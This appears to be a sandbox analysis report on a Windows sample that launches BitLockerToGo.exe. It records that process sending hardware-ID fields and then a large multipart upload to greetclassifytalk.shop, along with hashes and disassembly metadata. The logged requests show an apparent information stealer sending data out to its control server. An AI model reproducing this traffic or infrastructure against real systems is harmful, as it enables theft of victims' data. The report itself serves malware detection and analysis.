2024-05-02 15:58:21 UTC	808	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:58:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=us03v58jdr2skbtk8q94513gfq; expires=Mon, 26-Aug-2024 09:45:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fRZLse31bEsGGcAQ4KSd%2Fx8CLna6VpVhlJaI2iOUhegHreimMyllMQDtc1DFSKfThOOaOxL5uj7voxmif3v7Vqi8o10cSOOpM%2BIq2%2FWtx2UDrpUrh%2BKgFiakGG4%2BWnBtZZJg8UI2aFKV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d936581e6e17f1-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:58:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 0d 0a Data Ascii: 11ok 191.96.150.225
2024-05-02 15:58:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	104.21.51.78	443	7688	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:58:22 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7091 Host: greetclassifytalk.shop
2024-05-02 15:58:22 UTC	7091	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 31 44 32 38 32 43 46 32 46 39 38 46 33 44 45 31 38 37 38 39 34 45 39 31 37 33 38 43 34 45 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d e4 bb a3 e7 90 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A1D282CF2F98F3DE187894E91738C4E0--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu--
2024-05-02 15:58:22 UTC	804	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:58:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8voj6vk2ca1ahkupl9qo5ttt3j; expires=Mon, 26-Aug-2024 09:45:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0DwVVsAucilOf%2FWehx9bIDrCFQOPAv9kQjUMI2%2Fu5NG%2BEH1Bgi3uR101CtnBcqAKr182V2I7A3MCPQVVUhRE0EqNuDcvkBQc5LfEzAPhQoC0LwRRfMKprhbjHIsaaf9mEz4NqAbwn3iM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d9365ddba28cb1-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:58:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 0d 0a Data Ascii: 11ok 191.96.150.225
2024-05-02 15:58:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	104.21.51.78	443	7688	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:58:24 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1426 Host: greetclassifytalk.shop
2024-05-02 15:58:24 UTC	1426	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 31 44 32 38 32 43 46 32 46 39 38 46 33 44 45 31 38 37 38 39 34 45 39 31 37 33 38 43 34 45 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d e4 bb a3 e7 90 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A1D282CF2F98F3DE187894E91738C4E0--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu--
2024-05-02 15:58:24 UTC	804	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:58:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pi12f1f8vkgu10v7d8ei7took9; expires=Mon, 26-Aug-2024 09:45:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B6rn%2F0VXdaFDwWW42AeWz6H67oxJjNT7DW2JuxGoQyVZHsssweKhIrcKGEu8R4Wd6%2BI0VA5MP3vBbhJRuITQeldM3WWidBjaSwHFsS59KhN7iApKyV7llbE%2BjcJcvf5DEvgCBtU3qynm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d9366a19bec425-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:58:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 39 31 2e 39 36 2e 31 35 30 2e 32 32 35 0d 0a Data Ascii: 11ok 191.96.150.225
2024-05-02 15:58:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	104.21.51.78	443	7688	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:58:25 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 589203 Host: greetclassifytalk.shop
2024-05-02 15:58:25 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 31 44 32 38 32 43 46 32 46 39 38 46 33 44 45 31 38 37 38 39 34 45 39 31 37 33 38 43 34 45 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d e4 bb a3 e7 90 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A1D282CF2F98F3DE187894E91738C4E0--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu--
2024-05-02 15:58:25 UTC	15331	OUT	Data Raw: b8 e8 26 06 62 46 6c de 5d 29 b4 4f 40 af d1 39 cd 35 9b 65 9c c3 92 64 40 bb 82 5b 1c b5 c2 fd 83 62 22 e9 d5 bf 52 ec bf 8e e0 06 b0 f0 cc 21 90 78 85 08 04 d7 f8 d9 39 8a 6b 01 26 3d e9 ec 9c e3 40 67 3d f1 7f 75 f5 bf 97 5a e0 5e dc 02 66 31 20 ca 98 9a ed 83 70 5a 41 b0 83 69 50 6d 84 c6 7a c4 b2 72 8e 7a ee 40 71 77 53 1e ec 0c 87 2b c2 8d 2e b4 d2 20 e6 61 a9 1e 02 b8 12 9f 62 e7 82 01 e6 f2 cb c7 8c 03 22 76 a4 d9 15 0b c9 a9 c0 d4 1d db 85 1a 34 ef cd 2f 89 41 2b df 8c 58 42 1d 52 ee f6 5c 28 7c f8 53 ec 9b c5 09 15 de a4 46 0c b5 c2 4c 56 7d 10 96 e9 2e 44 72 2a de 54 61 11 26 ff 3c 66 8e 92 b4 55 e7 e3 24 cf a9 b1 17 e6 92 56 e4 2b ba ff 49 3d 43 3f 24 44 26 d1 5a 51 54 fe 0d a9 95 4e 3f 58 6f 47 ee 7f 41 06 58 d8 eb 17 b4 b6 d5 29 ac d8 a2 fc Data Ascii: &bFl])O@95ed@[b"R!x9k&=@g=uZ^f1 pZAiPmzrz@qwS+. ab"v4/A+XBR\(\|SFLV}.Dr*Ta&<fU$V+I=C?$D&ZQTN?XoGAX)
2024-05-02 15:58:25 UTC	15331	OUT	Data Raw: 9e e0 e6 37 c0 6a 41 40 ed 31 88 fa 8e 1f e8 0b 03 7a 73 e0 7b 7e 80 d0 7d ed 03 a8 a9 ff b7 70 fb 7f 3b 67 a2 ad 7e 27 00 ee 87 16 1c 50 4c 23 08 b9 ba 32 72 d5 d4 16 d4 e7 98 72 ec eb f3 1f e7 db 02 aa b0 09 55 47 b1 b0 e1 b3 c8 16 09 ba d8 9f 7a 8d 57 4e 5d 2b 36 c6 58 43 e4 1c 8f ac 6b 67 7e bc 2b de ca 5a 12 86 2d 4f 98 f4 80 46 2d 24 e0 c7 20 18 be 11 fd af 1f e3 c5 8a 64 de f0 a3 b7 9a a4 25 c8 7c d3 27 6a c1 01 0f 91 23 8d ac 37 44 22 d1 92 7f 9a 64 a5 a9 9d 5d 3e 33 af 60 cb 80 e9 98 07 15 bd b6 54 3d a8 53 e4 26 3f b5 3a 40 78 c1 7a d1 78 42 91 df 48 87 5f 7d 8f 59 c8 54 ab 13 37 5e 84 96 bc 43 c0 c4 56 99 db 6e 71 b7 82 a0 3e 6c de 9a 21 72 b5 19 84 02 5e ed af 0f ea e1 01 ee d8 3e 82 7a 4b 09 3e cf be 14 78 64 df a1 34 6f a6 cd 58 3e 0f e6 e3 Data Ascii: 7jA@1zs{~}p;g~'PL#2rrUGzWN]+6XCkg~+Z-OF-$ d%\|'j#7D"d]>3`T=S&?:@xzxBH_}YT7^CVnq>l!r^>zK>xd4oX>
2024-05-02 15:58:25 UTC	15331	OUT	Data Raw: b9 c9 f7 f2 dc 4f 8c 22 42 5a 97 4c f0 6e 30 6b c9 fa aa 02 ce b5 77 a1 01 04 1c 85 99 46 ed 3e af 9c da 63 6c 23 5f 9f 46 61 05 b0 e8 c6 5c 82 28 fa ed fe 62 6c 7c c8 de fd c5 af 65 b6 9f 90 b1 03 0a f1 f1 8a 63 f5 5f 68 de 20 b7 92 83 06 b2 ab c3 f9 7a b6 6f 25 41 87 71 16 d7 07 96 9b 02 7f b1 24 ff 6d 80 72 76 cc 59 00 38 30 9a 67 a2 12 18 31 2a 13 92 cb 8d df f0 66 ea 4e 7d b1 42 3c b4 c0 0c 0c 1f 3c 73 16 df 9c 78 4d 14 ec 51 d8 be ef e3 07 fc dd 36 43 0f ab 9b 93 02 dc e2 e3 0d 3d 94 20 20 68 b6 db 88 2d 83 34 d9 b3 d4 de 49 68 05 05 59 6c d3 5d f2 c3 ea db 68 66 76 c9 cc 73 28 ec 77 ab 7d 82 7e 0b be 1a 0e a2 c8 d7 6c ef 3f e5 fc dd 6e bf ff da 63 7d 54 a3 ca f3 28 e9 c4 34 03 27 18 e4 04 ec 13 2c 30 f4 54 16 ea 54 8c de 3a ae 2d 56 e2 d6 d7 ab 8c Data Ascii: O"BZLn0kwF>cl#_Fa\(bl\|ec_h zo%Aq$mrvY80g1*fN}B<<sxMQ6C= h-4IhYl]hfvs(w}~l?nc}T(4',0TT:-V
2024-05-02 15:58:25 UTC	15331	OUT	Data Raw: f6 d8 17 35 2e 93 c6 03 64 2d 51 37 d9 6d 5f 90 61 41 c8 5f 8d f6 92 bc 00 7a ce 1d 71 db 3e 95 82 25 d7 ac 46 9f 2e 2f bd 2f 8f 2c f5 3b bb 95 b5 25 34 1a 46 2d 3f e2 e3 8e d1 5c 7c 8b cb 24 4d f7 7e 56 d3 c8 b1 60 fb 95 5e d3 19 79 47 c7 2b cb 8b 2f 7c db 56 d3 19 6d 0f ad ee f6 26 3f ff 68 f4 b3 9c 87 94 76 db 7c b1 fa 83 ba b5 37 73 ee 44 96 45 d5 04 ab f6 ee 2e 69 0a 0b be a5 3e 9c 93 b2 2e a5 f0 c1 5a e1 b9 2b 86 e9 f7 02 62 23 eb 42 c0 f7 70 e8 fd 2b eb 08 da f2 42 97 16 7e 56 76 fb 87 ed 2f 1d 74 34 86 67 f1 ad 62 71 4d 57 2d 19 8d b7 3c 75 a5 7e 7a 0f 97 29 46 27 7d 90 ba 7b f0 f1 11 76 91 3f ec 4c 68 ae 05 c2 47 18 14 c0 6f 18 a9 82 5e a9 f4 63 c6 ee c2 76 87 00 e4 75 40 5c e4 3b ad 76 08 0d e8 e2 5b a5 89 c9 84 2b 92 0f bd 61 00 15 6f 4e 24 56 Data Ascii: 5.d-Q7m_aA_zq>%F.//,;%4F-?\\|$M~V`^yG+/\|Vm&?hv\|7sDE.i>.Z+b#Bp+B~Vv/t4gbqMW-<u~z)F'}{v?LhGo^cvu@\;v[+aoN$V
2024-05-02 15:58:25 UTC	15331	OUT	Data Raw: f0 bc 14 24 48 b2 0e 04 c3 49 11 05 18 6e 68 4a f4 65 0e 68 0f ae 04 e3 57 7f db 2a 2d 5a 63 04 74 c3 82 ae 2d 0c 9a 9e d3 dc 54 b5 50 b8 d2 f9 0d a4 16 e3 9d 45 ba eb 43 e4 bd 96 ce 1b d2 af 5f ad b7 15 05 cd 2d bc 7a 15 58 8e 15 56 5e 30 fc ba 6d 04 41 ad 10 44 16 b4 e9 b0 10 cf 6e b9 ab 86 0c 1b 44 f3 6e 3a e3 be e6 89 39 0b b4 1a 57 eb b1 ce 92 f0 7b 48 ab 05 4a 47 bf f8 c2 70 90 23 ef bd 3e 41 ba 6a 34 7b 52 8f 7e 21 1f 37 64 7b f3 b9 ed ce 61 69 46 32 9a 76 37 f7 03 69 34 b4 a8 1a 6a 94 50 63 d8 ce 34 fa e9 e1 4f 75 75 16 3f 0b c8 c3 1f 95 86 45 79 fe 2b c9 6d 35 a8 21 a3 28 b0 c1 ef 0c 11 fc c3 17 27 72 eb 03 2e 72 10 51 ca 0b 7e 89 36 32 43 6b 62 9b 67 4c 3e c9 41 89 35 ba ad ec b3 f4 0c 42 cc 12 5a 99 75 b6 2b b5 6c eb 8a 6b 8d 77 4c 31 5e e3 31 Data Ascii: $HInhJehW*-Zct-TPEC_-zXV^0mADnDn:9W{HJGp#>Aj4{R~!7d{aiF2v7i4jPc4Ouu?Ey+m5!('r.rQ~62CkbgL>A5BZu+lkwL1^1
2024-05-02 15:58:25 UTC	15331	OUT	Data Raw: b1 2b 2f 5f a1 09 84 87 00 f9 9d 84 4e ee 8d c2 81 38 01 4a 70 f5 c1 77 68 f3 94 74 34 62 57 bb d8 04 22 3d b5 5a 54 0b 33 3d 3d 26 cf 4c 16 b1 01 3c 53 34 41 16 00 d0 2a d8 c2 83 fc e3 38 6a 4b 35 e5 69 18 63 fc cf 6c 3e 3e 94 12 fb 46 fe f7 ae f8 2f 01 fb 00 05 e8 0b 2e 11 ae b1 d7 9c 04 d7 f1 1b 4a 2c b4 52 e8 9d 14 a1 cb ae ab 45 42 d4 b2 75 11 d4 e4 25 b2 b4 e8 ee a3 e7 ba 1b 02 7a c5 a6 e7 d2 f8 14 0f 40 f2 a3 27 d3 2b 98 58 c6 71 84 7a 02 6b 80 2f c9 00 04 e7 68 c1 c1 99 6b 36 b0 25 ba 71 49 bd bf d9 2b c2 e7 8a 18 29 95 da 62 58 62 b9 6c 09 a5 86 05 f6 92 b2 17 a8 25 a8 95 4a 57 e1 d5 bc 79 33 da 8b 90 b0 6e c1 6e 5c fb bd 60 fe d6 35 fb e6 b8 ef 36 49 9b 0e 50 aa d7 d2 0d 5e b5 c1 f4 61 83 7e 9c 5e d4 40 cc 33 d8 f1 45 04 6d 2b 65 e0 19 3a 50 6e Data Ascii: +/_N8Jpwht4bW"=ZT3==&L<S4A*8jK5icl>>F/.J,REBu%z@'+Xqzk/hk6%qI+)bXbl%JWy3nn\`56IP^a~^@3Em+e:Pn
2024-05-02 15:58:25 UTC	15331	OUT	Data Raw: a7 9d 0b f2 63 f3 97 f3 cb 82 0c df 2c 7a 23 8f 3f 99 0a 1a b8 65 15 f9 3c 4a a2 9b 9d 53 31 be d0 fe 66 29 67 c8 37 6f b4 87 f6 fc f7 bc 43 90 69 5d 63 7c c4 43 ce af 3d 9e ba 37 c5 69 ef e7 43 05 28 65 af 3e dd 2e 2e 63 2f ff 47 16 de f4 40 da 6a 0c 37 94 d1 30 c1 68 82 fe 7b 5a 31 ce ad 89 74 78 3c 10 14 ca d3 d4 de 3c d0 bd bc 7e ec 1a 08 d9 38 01 2d 99 f9 9a cd 77 f3 74 4f 6e 12 f9 03 2b 9e f6 ef e5 6a c2 78 4e 19 ac cc 46 f2 7f 54 f5 7e 92 14 ab d9 71 e9 78 35 9f 8f f9 cd 06 8e 80 13 22 99 32 56 db 93 b5 fe 99 9f be e8 b9 65 82 13 4e bf 00 4e a2 87 e6 ee ee 59 1e ea 1a 90 2b 35 2d f9 34 38 5a 53 c1 8b f4 1f e2 f3 0e ec 62 b0 26 3a a5 aa f6 26 2b ee 07 bc 91 44 a8 70 1c af cb fb d9 a5 69 b0 57 c0 57 91 5d 9e 88 1a da 13 5c bd 3d 32 92 72 a1 5b 35 32 Data Ascii: c,z#?e<JS1f)g7oCi]c\|C=7iC(e>..c/G@j70h{Z1tx<<~8-wtOn+jxNFT~qx5"2VeNNY+5-48ZSb&:&+DpiWW]\=2r[52
2024-05-02 15:58:25 UTC	15331	OUT	Data Raw: 82 d3 f6 41 14 e1 68 cf 99 49 ce 27 64 6c b3 51 40 13 6d 1e 95 71 db 91 dd 1a 3b 7e 84 46 5e 50 b8 a4 4c 0d ca 58 d2 d1 01 66 89 5c 99 a5 47 7a 02 b9 73 01 bc 0f 8b 5d 46 b0 ad b2 d3 3c bc 65 cc 7a 9e 11 7c bb 2e 98 5f bd 82 8b df bc a4 82 1b a5 2b ae 8e 85 be 5d c8 8e 2a 0b bd 7a 12 c7 5e df 16 75 31 9f 66 45 dd 06 8d f3 f0 89 28 ae 41 a1 25 e5 f3 e4 51 21 b9 8b 48 87 bc ba d4 6a 86 22 e6 a7 28 a9 d0 f4 70 93 13 d9 40 43 a1 c1 34 9e a8 33 06 ce 32 85 8f 5d 24 35 56 0c 3d bc 36 fa a3 06 bd 5a 57 76 03 3a 69 4e d0 17 5c cf 4b 6d 73 97 25 3b ee cd 0d e3 69 12 e0 60 8a 37 aa e8 12 19 43 d5 04 6d 0a 85 c5 fc b7 68 f8 94 54 c2 2b d5 d7 db 4a 07 24 08 16 66 19 53 a9 f7 78 32 8a d3 6e 81 12 d7 b3 6c da f6 85 84 d5 cf c9 d3 55 27 20 a9 f0 d7 7e f8 73 b0 9f d7 07 Data Ascii: AhI'dlQ@mq;~F^PLXf\Gzs]F<ez\|._+]*z^u1fE(A%Q!Hj"(p@C432]$5V=6ZWv:iN\Kms%;i`7CmhT+J$fSx2nlU' ~s
2024-05-02 15:58:25 UTC	15331	OUT	Data Raw: ab 0e 5d 59 a1 f6 52 bb 78 ed f7 ff 33 73 59 85 60 76 ba c5 4f 90 20 7b f7 0d 6a e5 8d fc ef cb 62 50 67 90 f3 bf cc 55 75 b6 bd f9 9b 10 0b d7 8e e6 90 6a b3 96 80 5b ac 8f 67 57 72 c7 2a 26 5d 8a 2e cc b8 ba 56 6c 54 ae 06 9f df 7e 7b 7b 46 b1 e5 f8 d0 af 6f b3 9f 5b da 2b b7 72 ad 65 5a f6 b6 47 f9 69 ae d0 7a 52 d2 16 72 ad b7 97 5d 78 7e 97 8a ce 9e d6 19 d6 ca 67 b7 f5 ff 4a 4c 5d 78 43 5b 98 c8 99 7c 2d b0 27 75 f5 bc 6d bd 56 d6 26 89 7a 81 65 e8 6f f9 47 e4 71 e4 c8 9b 32 d7 37 2d fd 73 06 1d d4 ba fd b3 1b 57 fd 38 2f eb b7 d5 1c 82 ca 25 79 4a a7 de a0 bd 9f 08 cb 3d 50 bb 82 0d 2b 8f 34 f6 00 cd 35 0f 1f 12 fb 9c 96 13 49 04 62 3e 71 e2 2b db 6a dc d1 85 fd 35 28 cd 1d ae 0e 7d 84 60 77 86 31 8e cf a5 94 5a cf 69 96 cb a6 ce 9e a1 d9 63 29 5e Data Ascii: ]YRx3sY`vO {jbPgUuj[gWr*&].VlT~{{Fo[+reZGizRr]x~gJL]xC[\|-'umV&zeoGq27-sW8/%yJ=P+45Ib>q+j5(}`w1Zic)^
2024-05-02 15:58:26 UTC	802	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:58:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3diu6umncultjd960laqqpg22t; expires=Mon, 26-Aug-2024 09:45:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GdqNmz47eBQ4sHm0WP50H%2FlGWvzS8q0V5o9ODLYGZZjgUWa6SQGr8DJ2HcG5z3uUjjP%2FHcYuNvPR6Y0cck2IPiE5FMFGeFI3UVHz7iJJ2yHocrHNjgeLodFJwA4d3o5F6KEoNf7xV7eP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d93670f86e42c1-EWR alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	17:57:55
Start date:	02/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff662f30000
File size:	7'379'456 bytes
MD5 hash:	E04CDCB33735437AE84E00DD308FA527
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:58:15
Start date:	02/05/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Imagebase:	0xec0000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	16.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.2%
Total number of Nodes:	426
Total number of Limit Nodes:	17

Executed Functions

Function 00B71CAA Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 00B71D5E
GetSystemMetrics.USER32 ref: 00B71D72
DeleteObject.GDI32 ref: 00B71DDD
SelectObject.GDI32 ref: 00B71E37
SelectObject.GDI32 ref: 00B71ED1
DeleteObject.GDI32 ref: 00B71F0E

Strings

, xrefs: 00B71E9E

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 1449868515-3916222277
Opcode ID: 04a1af76b1bbe9b3fb3e34c6224a5160b7904fcfbce5c510cf85886a18db55c0
Instruction ID: 4b12e72b7f1d5817259da44ec61c5cb0132a70e9966b6230d86f859274f9163a
Opcode Fuzzy Hash: 04a1af76b1bbe9b3fb3e34c6224a5160b7904fcfbce5c510cf85886a18db55c0
Instruction Fuzzy Hash: 23A14AB4614B008FC364DF28D981A26BBF5FF89704F10896DE99AC7760DB31B844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B62840 Relevance: 9.9, APIs: 2, Strings: 3, Instructions: 1114COMMON

Download Yara Rule

Strings

onqp, xrefs: 00B62B06
rv, xrefs: 00B6317D
$b, xrefs: 00B63176

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $b$onqp$rv
API String ID: 0-2885959753
Opcode ID: dd644e697a5664dac6399acd0bccdad0d9e998861fd227058f9cf89bc30df75a
Instruction ID: 2275e8496e99446af7f435de07b0c0b131b274f633ee45c7aa71a632e96c830f
Opcode Fuzzy Hash: dd644e697a5664dac6399acd0bccdad0d9e998861fd227058f9cf89bc30df75a
Instruction Fuzzy Hash: E682ACB1600B00CFD724CF28C891B56B7E2FF89318F15896DD9AA8B7A1DB74E905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B44B30 Relevance: 6.7, Strings: 5, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IHDR, xrefs: 00B44F62
IDAT, xrefs: 00B44FD1
), xrefs: 00B44BA8
VUUU, xrefs: 00B44CAD
IEND, xrefs: 00B4504E

Memory Dump Source

Source File: 00000002.00000002.1926914671.0000000000B40000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR$VUUU
API String ID: 0-2101632234
Opcode ID: 1ccc76b9156500077a050b900a4c1fed1dbf0eaf5fec5a8f2465baebeffe0593
Instruction ID: b138af57aef712deb1acc2661b95e33d9646d43ef9e90f5de04c1fb7c65f410e
Opcode Fuzzy Hash: 1ccc76b9156500077a050b900a4c1fed1dbf0eaf5fec5a8f2465baebeffe0593
Instruction Fuzzy Hash: 6F023171A083418FD754DF28DC9076BBBE1EF84304F0986ACE9858B392D775DA09DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00B679F5 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2RPJ, xrefs: 00B67A01

